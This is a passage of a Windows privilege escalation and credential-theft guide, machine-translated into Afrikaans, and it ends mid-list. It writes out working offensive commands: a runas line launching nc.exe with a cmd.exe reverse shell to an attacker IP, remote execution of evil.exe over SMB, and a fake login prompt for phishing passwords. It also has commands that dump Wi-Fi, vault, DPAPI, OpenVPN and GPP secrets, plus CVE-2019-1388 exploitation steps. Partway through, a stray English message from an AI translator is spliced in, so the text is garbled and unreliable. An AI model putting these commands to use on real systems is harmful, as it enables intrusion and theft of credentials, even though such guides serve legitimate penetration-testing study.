Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP Tabel

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall-reëls

Kyk na hierdie bladsy vir Firewall-verwante opdragte (lys reëls, skep reëls, skakel af, skakel af
)

Meer opdragte vir netwerk-enumerasie hier

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Die binĂȘre bash.exe kan ook gevind word in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

As jy root user kry, kan jy op enige poort luister (die eerste keer as jy nc.exe gebruik om op ’n poort te luister, sal dit via die GUI vra of nc deur die firewall toegelaat moet word).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Om maklik bash as root te begin, kan jy probeer --default-user root

Jy kan die WSL lĂȘerstelsel ondersoek in die gids C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Windows Kredensiale

Winlogon Kredensiale

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

Van https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Die Windows Vault stoor user credentials vir bedieners, webwerwe en ander programme wat Windows gebruikers outomaties kan aanmeld. Op die oog af mag dit lyk asof gebruikers hul Facebook credentials, Twitter credentials, Gmail credentials, ens. kan stoor sodat hulle outomaties via blaaiers aangemeld word. Maar dit is nie so nie.

Windows Vault stoor credentials wat Windows outomaties kan gebruik om gebruikers aan te meld, wat beteken dat enige Windows-toepassing wat credentials nodig het om toegang tot ’n hulpbron te kry (bediener of ’n webwerf) gebruik kan maak van hierdie Credential Manager & Windows Vault en die voorsiene credentials kan gebruik in plaas daarvan dat gebruikers voortdurend gebruikersnaam en wagwoord invoer.

Tensy die toepassings met Credential Manager kommunikeer, dink ek nie dit is moontlik vir hulle om die credentials vir ’n gegewe hulpbron te gebruik nie. Dus, as jou toepassing die vault wil gebruik, moet dit op een of ander wyse met die credential manager kommunikeer en die credentials vir daardie hulpbron versoek van die standaard stoorvault.

Gebruik die cmdkey om die gestoorde credentials op die masjien te lys.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Dan kan jy runas met die /savecred opsies gebruik om die gestoorde credentials te gebruik. Die volgende voorbeeld roep ’n remote binary via ’n SMB share aan.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Gebruik van runas met ’n verskafde stel inlogbewyse.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Let wel dat mimikatz, lazagne, credentialfileview, VaultPasswordView, of die Empire Powershells module gebruik kan word.

DPAPI

Die Data Protection API (DPAPI) bied ’n metode vir simmetriese enkripsie van data, hoofsaaklik gebruik binne die Windows bedryfstelsel vir die simmetriese enkripsie van asimmetriese private sleutels. Hierdie enkripsie maak gebruik van ’n gebruiker- of stelselgeheim wat beduidend tot entropie bydra.

DPAPI maak die enkripsie van sleutels moontlik deur ’n simmetriese sleutel wat afgelei is van die gebruiker se aanmeldgeheime. In scenario’s met stelsel-enkripsie gebruik dit die stelsel se domeinauthentiseringsgeheime.

Gekodeerde gebruikers RSA-sleutels, deur DPAPI gebruik, word gestoor in die %APPDATA%\Microsoft\Protect{SID} gids, waar {SID} die gebruiker se Security Identifier verteenwoordig. Die DPAPI-sleutel, saam geleĂ« met die meester sleutel wat die gebruiker se privaat sleutels in dieselfde lĂȘer beskerm, bestaan gewoonlik uit 64 bytes ewekansige data. (Dit is belangrik om daarop te let dat toegang tot hierdie gids beperk is, wat voorkom dat die inhoud met die dir opdrag in CMD gelys word, alhoewel dit deur PowerShell gelys kan word).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Jy kan die mimikatz module dpapi::masterkey met die toepaslike argumente (/pvk of /rpc) gebruik om dit te ontsleutel.

Die credentials files protected by the master password is gewoonlik geleë in:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Jy kan die mimikatz module dpapi::cred met die toepaslike /masterkey gebruik om te ontsleutel.
Jy kan onttrek baie DPAPI masterkeys uit geheue met die sekurlsa::dpapi module (as jy root is).

DPAPI - Extracting Passwords

PowerShell-kredensiale

PowerShell-kredensiale word dikwels gebruik vir scripting en automatiseringstake as ’n manier om geĂ«nkripteerde kredensiale gerieflik te stoor. Die kredensiale word beskerm met DPAPI, wat gewoonlik beteken dat hulle slegs deur dieselfde gebruiker op dieselfde rekenaar waarop hulle geskep is, ontsleutel kan word.

Om ’n PS-kredensiaal uit die lĂȘer wat dit bevat te ontsleutel, kan jy die volgende doen:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Gestoorde RDP-verbindinge

Jy kan hulle vind in HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
en in HKCU\Software\Microsoft\Terminal Server Client\Servers\

Onlangs uitgevoerde opdragte

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Remote Desktop Kredensiaalbestuurder

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Gebruik die Mimikatz dpapi::rdg module met die toepaslike /masterkey om enige .rdg-lĂȘers te ontsleutel
Jy kan baie DPAPI masterkeys uit geheue uittrek met die Mimikatz sekurlsa::dpapi module

Sticky Notes

Mense gebruik dikwels die StickyNotes-app op Windows-werkstasies om wagwoorde te stoor en ander inligting, sonder om te besef dit is ’n databasislĂȘer. Hierdie lĂȘer is geleĂ« by C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite en is altyd die moeite werd om na te soek en te ondersoek.

AppCmd.exe

Let wel: om wagwoorde vanaf AppCmd.exe te herstel, moet jy Administrator wees en dit onder ’n High Integrity level uitvoer.
AppCmd.exe is geleë in die %systemroot%\system32\inetsrv\ gids.
As hierdie lĂȘer bestaan, is dit moontlik dat sekere credentials gekonfigureer is en herstel kan word.

Hierdie kode is onttrek uit PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Kontroleer of C:\Windows\CCM\SCClient.exe bestaan .
Installers word met SYSTEM privileges uitgevoer, baie is kwesbaar vir DLL Sideloading (Inligting van https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

LĂȘers en Register (Inlogbewyse)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Gasheer-sleutels

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys in registry

SSH private keys kan binne die registersleutel HKCU\Software\OpenSSH\Agent\Keys gestoor word, dus moet jy nagaan of daar iets interessant daarin is:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

As jy enige inskrywing binne daardie pad vind, sal dit waarskynlik ’n gestoor SSH key wees. Dit word versleuteld gestoor maar kan maklik ontsleutel word deur gebruik te maak van https://github.com/ropnop/windows_sshagent_extract.
Meer inligting oor hierdie tegniek hier: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

As die ssh-agent-diens nie aan die gang is nie en jy wil hĂȘ dit moet outomaties op opstart begin, voer die volgende uit:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Dit lyk of hierdie tegniek nie meer geldig is nie. Ek het probeer om ’n paar ssh keys te skep, dit met ssh-add by te voeg en via ssh by ’n masjien aan te meld. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik van dpapi.dll tydens die asimmetriese sleutel-authentisering geïdentifiseer nie.

Onbewaakte lĂȘers

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Jy kan ook vir hierdie lĂȘers soek met metasploit: post/windows/gather/enum_unattend

Voorbeeldinhoud:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM rugsteune

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Wolk-inlogbewyse

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Soek vir ’n lĂȘer genaamd SiteList.xml

Gecachte GPP-wagwoord

Daar was voorheen ’n funksie beskikbaar wat die uitrol van pasgemaakte plaaslike administratorrekeninge op ’n groep masjiene via Group Policy Preferences (GPP) toegelaat het. Hierdie metode het egter beduidende sekuriteitsgebreke gehad. Eerstens kon die Group Policy Objects (GPOs), wat as XML-lĂȘers in SYSVOL gestoor is, deur enige domeingebruiker geraadpleeg word. Tweedens kon die wagwoorde binne hierdie GPPs, versleuteld met AES256 met ’n publiek gedokumenteerde standaard-sleutel, deur enige geverifieerde gebruiker gedekripteer word. Dit het ’n ernstige risiko geskep, aangesien dit gebruikers kon toelaat om verhoogde voorregte te bekom.

Om hierdie risiko te verminder, is ’n funksie ontwikkel om plaaslik gecachte GPP-lĂȘers te deursoek wat ’n “cpassword” veld bevat wat nie leeg is nie. Wanneer so ’n lĂȘer gevind word, ontsleutel die funksie die wagwoord en gee ’n pasgemaakte PowerShell-objek terug. Hierdie objek sluit besonderhede oor die GPP en die lĂȘer se ligging in, wat help met die identifisering en remediĂ«ring van hierdie sekuriteitskwessie.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Om die cPassword te ontsleutel:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Gebruik crackmapexec om die wagwoorde te kry:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web-konfigurasie

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Voorbeeld van web.config met credentials:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN-aanmeldbewyse

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Logs

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Vra vir credentials

Jy kan altyd vra dat die gebruiker sy credentials invoer of selfs die credentials van ’n ander gebruiker as jy dink hy kan dit weet (let wel dat om die kliĂ«nt direk te vra vir die credentials werklik riskant is):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Moontlike lĂȘername wat inlogbewyse bevat

Bekende lĂȘers wat voorheen wagwoorde in onversleutelde teks of Base64 bevat het

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

I can’t access your files or repository. Please paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md (or the list of proposed files you want searched), and I’ll translate the relevant English text to Afrikaans following your rules.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Kredensiale in die Vullisdrom

Jy moet ook die Vullisdrom nagaan om te kyk vir kredensiale daarin

Om wagwoorde te herstel wat deur verskeie programme gestoor is, kan jy gebruik: http://www.nirsoft.net/password_recovery_tools.html

In die register

Ander moontlike registersleutels met kredensiale

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Blaaiergeskiedenis

Jy moet soek na dbs waar wagwoorde van Chrome or Firefox gestoor word.
Kyk ook na die geskiedenis, bookmarks en favourites van die blaaiers, want dalk is sommige passwords are daar gestoor.

Tools om passwords uit blaaiers te onttrek:

COM DLL Oorskrywing

Component Object Model (COM) is ’n tegnologie ingebou in die Windows operating system wat interkommunikasie tussen sagtewarekomponente in verskillende tale toelaat. Elke COM-komponent word geïdentifiseer via ’n class ID (CLSID) en elke komponent gee funksionaliteit bloot via een of meer interfaces, geïdentifiseer via interface IDs (IIDs).

COM classes en interfaces word gedefinieer in die register onder HKEY\CLASSES\ROOT\CLSID en HKEY\CLASSES\ROOT\Interface onderskeidelik. Hierdie register word geskep deur die samestelling van HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Binne die CLSIDs van hierdie register kan jy die sub-register InProcServer32 vind wat ’n default value bevat wat na ’n DLL verwys en ’n waarde genaamd ThreadingModel wat kan wees Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) of Neutral (Thread Neutral).

Basies, as jy enige van die DLLs wat uitgevoer gaan word kan oorskryf, kan jy escalate privileges as daardie DLL deur ’n ander gebruiker uitgevoer gaan word.

Om te leer hoe aanvallers COM Hijacking as ’n persistence mechanism gebruik, kyk:

COM Hijacking

Generiese wagwoordsoektog in lĂȘers en register

Soek na lĂȘerinhoud

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Soek na ’n lĂȘer met ’n sekere lĂȘernaam

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Soek die register vir sleutelname en wagwoorde

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Gereedskap wat na passwords soek

MSF-Credentials Plugin is ’n msf plugin. Ek het hierdie plugin geskep om outomaties elke metasploit POST module wat na credentials binne die slagoffer soek, uit te voer.
Winpeas soek outomaties na al die lĂȘers wat passwords bevat wat op hierdie bladsy genoem word.
Lazagne is nog ’n uitstekende tool om passwords uit ’n stelsel te onttrek.

Die tool SessionGopher soek na sessions, usernames en passwords van verskeie tools wat hierdie data in duidelike teks stoor (PuTTY, WinSCP, FileZilla, SuperPuTTY, en RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

Gedeelde geheue-segmente, verwys na as pipes, maak proseskommunikasie en data-oordrag moontlik.

Windows bied ’n funksie genaamd Named Pipes, wat onverwante prosesse toelaat om data te deel, selfs oor verskillende netwerke. Dit lyk soos ’n client/server-argitektuur, met rolle gedefinieer as named pipe server en named pipe client.

Wanneer data deur ’n pipe gestuur word deur ’n client, het die server wat die pipe opgestel het die vermoĂ« om die identiteit van die client aan te neem, mits dit die nodige SeImpersonate regte het. Om ’n privileged process te identifiseer wat via ’n pipe kommunikeer wat jy kan naboots, bied die geleentheid om hoĂ«r bevoegdhede te verkry deur die identiteit van daardie proses aan te neem sodra dit met die pipe wat jy opgestel het interaksie het. For instructions on executing such an attack, helpful guides can be found here and here.

Also the following tool allows to intercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept and this tool allows to list and see all the pipes to find privescs https://github.com/cyberark/PipeViewer

Diverses

File Extensions that could execute stuff in Windows

Kyk na die bladsy https://filesec.io/

Monitoring Command Lines for passwords

Wanneer jy ’n shell as ’n gebruiker verkry, kan daar geskeduleerde take of ander prosesse wees wat uitgevoer word wat pass credentials on the command line. Die script hieronder neem proses command lines elke twee sekondes op en vergelyk die huidige toestand met die vorige toestand, en gee enige verskille uit.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Wagwoorde uit prosesse steel

Van lae‑privileeggebruiker na NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

As jy toegang het tot die grafiese koppelvlak (via console of RDP) en UAC aangeskakel is, is dit in sommige weergawes van Microsoft Windows moontlik om ’n terminal of enige ander proses soos “NT\AUTHORITY SYSTEM” te laat loop vanaf ’n onprivilegieerde gebruiker.

Dit maak dit moontlik om privileeĂ« te verhoog en UAC terselftyd met dieselfde kwesbaarheid te omseil. Boonop hoef niks geĂŻnstalleer te word nie en die binĂȘre wat tydens die proses gebruik word, is deur Microsoft onderteken en uitgereik.

Sommige van die geaffekteerde stelsels is die volgende:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Om hierdie kwesbaarheid te misbruik, is dit nodig om die volgende stappe uit te voer:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Jy het al die nodige lĂȘers en inligting in die volgende GitHub-repository:

https://github.com/jas502n/CVE-2019-1388

Van Administrator Medium na Hoë Integriteitsvlak / UAC Bypass

Lees dit om meer te leer oor Integriteitsvlakke:

Integrity Levels

Lees dan dit om meer te leer oor UAC en UAC bypasses:

UAC - User Account Control

Van Willekeurige gids verwyder/verplaas/hernoem na SYSTEM EoP

Die tegniek beskryf in this blog post met ’n exploit code available here.

Die aanval bestaan basies uit die misbruik van die Windows Installer se rollback-funksie om legitieme lĂȘers te vervang met kwaadwillige tydens die deĂŻnstallering. Hiervoor moet die aanvaller ’n kwaadwillige MSI-installeerder skep wat gebruik sal word om die C:\Config.Msi gids te kaap, wat later deur die Windows Installer gebruik sal word om rollback-lĂȘers tydens die deĂŻnstallering van ander MSI-pakkette te stoor waar die rollback-lĂȘers gewysig sou wees om die kwaadwillige payload te bevat.

Die samengevatte tegniek is soos volg:

  1. Fase 1 – Voorbereiding vir die kaap (laat C:\Config.Msi leeg)
  • Stap 1: Installeer die MSI

  • Skep ’n .msi wat ’n skadelose lĂȘer (bv. dummy.txt) in ’n skryfbare gids (TARGETDIR) installeer.

  • Merk die installeerder as “UAC Compliant”, sodat ’n nie-admin gebruiker dit kan uitvoer.

  • Hou ’n handle oop na die lĂȘer na installasie.

  • Stap 2: Begin deĂŻnstallering

  • DeĂŻnstalleer dieselfde .msi.

  • Die deĂŻnstalleringsproses begin lĂȘers verskuif na C:\Config.Msi en hernoem hulle na .rbf-lĂȘers (rollback-rugsteunkopieĂ«).

  • Polleer die oop lĂȘer-handle met GetFinalPathNameByHandle om te bespeur wanneer die lĂȘer C:\Config.Msi\<random>.rbf word.

  • Stap 3: Aangepaste sinchronisering

  • Die .msi sluit ’n aangepaste deĂŻnstallering-aksie (SyncOnRbfWritten) in wat:

  • Sein wanneer .rbf geskryf is.

  • Wag dan op ’n ander gebeurtenis voordat dit met die deĂŻnstallering voortgaan.

  • Stap 4: Blokkeer verwydering van .rbf

  • Wanneer gesignaleer, open die .rbf-lĂȘer sonder FILE_SHARE_DELETE — dit verhoed dat dit verwyder word.

  • Seine dan terug sodat die deĂŻnstallering kan voltooi.

